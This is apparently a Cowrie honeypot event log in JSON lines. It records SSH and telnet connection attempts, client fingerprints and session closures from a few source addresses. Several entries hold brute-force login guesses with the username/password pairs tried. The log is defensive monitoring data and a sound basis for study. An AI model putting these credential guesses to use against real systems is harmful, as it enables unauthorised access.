{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54302,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe6745e28353","protocol":"telnet","message":"New connection: 152.42.224.71:54302 (10.17.0.5:23) [session: fe6745e28353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:03.924327Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54306,"dst_ip":"10.17.0.5","dst_port":23,"session":"39620682f994","protocol":"telnet","message":"New connection: 152.42.224.71:54306 (10.17.0.5:23) [session: 39620682f994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:04.027164Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46014,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e37060a515e","protocol":"ssh","message":"New connection: 31.40.204.166:46014 (159.203.135.109:22) [session: 7e37060a515e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:05.320782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:05.326245Z","src_ip":"31.40.204.166","session":"7e37060a515e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:05.507504Z","src_ip":"31.40.204.166","session":"7e37060a515e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54314,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24d06327350","protocol":"telnet","message":"New connection: 152.42.224.71:54314 (10.17.0.5:23) [session: d24d06327350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:05.728415Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:06.011537Z","src_ip":"31.40.204.166","session":"7e37060a515e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:07.415915Z","src_ip":"31.40.204.166","session":"7e37060a515e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.93683457374573,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:08.531532Z","src_ip":"152.42.224.71","session":"6ce85edbe569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59948,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf5a563b179c","protocol":"telnet","message":"New connection: 152.42.224.71:59948 (10.17.0.5:23) [session: bf5a563b179c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:09.880378Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59954,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa5473b1dca","protocol":"telnet","message":"New connection: 152.42.224.71:59954 (10.17.0.5:23) [session: 8fa5473b1dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:10.675124Z"}
{"eventid":"cowrie.session.closed","duration":23.329265594482422,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:12.688818Z","src_ip":"152.42.224.71","session":"47ed2c17514b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.625922203063965,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:13.689008Z","src_ip":"152.42.224.71","session":"00acdf7eb207","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59958,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e5dd8d3d2e4","protocol":"telnet","message":"New connection: 152.42.224.71:59958 (10.17.0.5:23) [session: 2e5dd8d3d2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:14.272111Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":34560,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec5e5135fe3","protocol":"ssh","message":"New connection: 94.159.98.239:34560 (10.17.0.5:22) [session: 9ec5e5135fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:15.455418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:15.470052Z","src_ip":"94.159.98.239","session":"9ec5e5135fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:15.582840Z","src_ip":"94.159.98.239","session":"9ec5e5135fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.914571285247803,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:15.642855Z","src_ip":"152.42.224.71","session":"d24d06327350","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"a654321","message":"login attempt [root/a654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:16.098941Z","src_ip":"94.159.98.239","session":"9ec5e5135fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45528,"dst_ip":"159.203.135.109","dst_port":22,"session":"e62bad97154d","protocol":"ssh","message":"New connection: 31.40.204.166:45528 (159.203.135.109:22) [session: e62bad97154d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:17.085678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:17.105201Z","src_ip":"31.40.204.166","session":"e62bad97154d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:17.226860Z","src_ip":"94.159.98.239","session":"9ec5e5135fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:17.295083Z","src_ip":"31.40.204.166","session":"e62bad97154d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:17.829277Z","src_ip":"31.40.204.166","session":"e62bad97154d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:19.014101Z","src_ip":"31.40.204.166","session":"e62bad97154d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.33172941207886,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:22.344335Z","src_ip":"152.42.224.71","session":"686c554b2397","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":114.57548117637634,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:22.878623Z","src_ip":"152.42.224.71","session":"cdf29ecd178f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.709468364715576,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:23.633576Z","src_ip":"152.42.224.71","session":"fe6745e28353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55252,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f67595d49b6","protocol":"ssh","message":"New connection: 31.40.204.166:55252 (159.203.135.109:22) [session: 1f67595d49b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:28.584730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:28.710614Z","src_ip":"31.40.204.166","session":"1f67595d49b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:28.728012Z","src_ip":"31.40.204.166","session":"1f67595d49b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59314,"dst_ip":"10.17.0.5","dst_port":23,"session":"8998a8075f79","protocol":"telnet","message":"New connection: 152.42.224.71:59314 (10.17.0.5:23) [session: 8998a8075f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:28.959183Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:29.403275Z","src_ip":"31.40.204.166","session":"1f67595d49b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:30.593759Z","src_ip":"31.40.204.166","session":"1f67595d49b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44874,"dst_ip":"10.17.0.5","dst_port":23,"session":"27b38cba3f5c","protocol":"telnet","message":"New connection: 152.42.224.71:44874 (10.17.0.5:23) [session: 27b38cba3f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:36.319262Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44886,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bddece7dbe4","protocol":"telnet","message":"New connection: 152.42.224.71:44886 (10.17.0.5:23) [session: 9bddece7dbe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:38.370385Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34754,"dst_ip":"159.203.135.109","dst_port":22,"session":"d18e7e80bc67","protocol":"ssh","message":"New connection: 31.40.204.166:34754 (159.203.135.109:22) [session: d18e7e80bc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:40.483071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:40.490494Z","src_ip":"31.40.204.166","session":"d18e7e80bc67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:40.612339Z","src_ip":"31.40.204.166","session":"d18e7e80bc67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:41.614838Z","src_ip":"31.40.204.166","session":"d18e7e80bc67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:42.896562Z","src_ip":"31.40.204.166","session":"d18e7e80bc67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.7483172416687,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:43.831547Z","src_ip":"152.42.224.71","session":"1ba0817b5385","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44894,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c0347a17c47","protocol":"telnet","message":"New connection: 152.42.224.71:44894 (10.17.0.5:23) [session: 9c0347a17c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:45.327472Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34882,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7e1934b9d4","protocol":"telnet","message":"New connection: 152.42.224.71:34882 (10.17.0.5:23) [session: 8f7e1934b9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:47.226566Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34898,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f1f0eb2665c","protocol":"telnet","message":"New connection: 152.42.224.71:34898 (10.17.0.5:23) [session: 4f1f0eb2665c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:48.209199Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34904,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab6ac077fb1d","protocol":"telnet","message":"New connection: 152.42.224.71:34904 (10.17.0.5:23) [session: ab6ac077fb1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:48.665053Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34912,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7b7589d9174","protocol":"telnet","message":"New connection: 152.42.224.71:34912 (10.17.0.5:23) [session: c7b7589d9174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:49.098028Z"}
{"eventid":"cowrie.session.closed","duration":104.69152426719666,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:52.220094Z","src_ip":"152.42.224.71","session":"1034eef6bfe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.222060203552246,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:52.249096Z","src_ip":"152.42.224.71","session":"39620682f994","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34922,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4be20caae00","protocol":"telnet","message":"New connection: 152.42.224.71:34922 (10.17.0.5:23) [session: d4be20caae00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:53.114471Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40438,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd6d8d8f5254","protocol":"ssh","message":"New connection: 31.40.204.166:40438 (159.203.135.109:22) [session: fd6d8d8f5254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:53.413620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:53.421633Z","src_ip":"31.40.204.166","session":"fd6d8d8f5254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:53.602299Z","src_ip":"31.40.204.166","session":"fd6d8d8f5254","protocol":"ssh"}
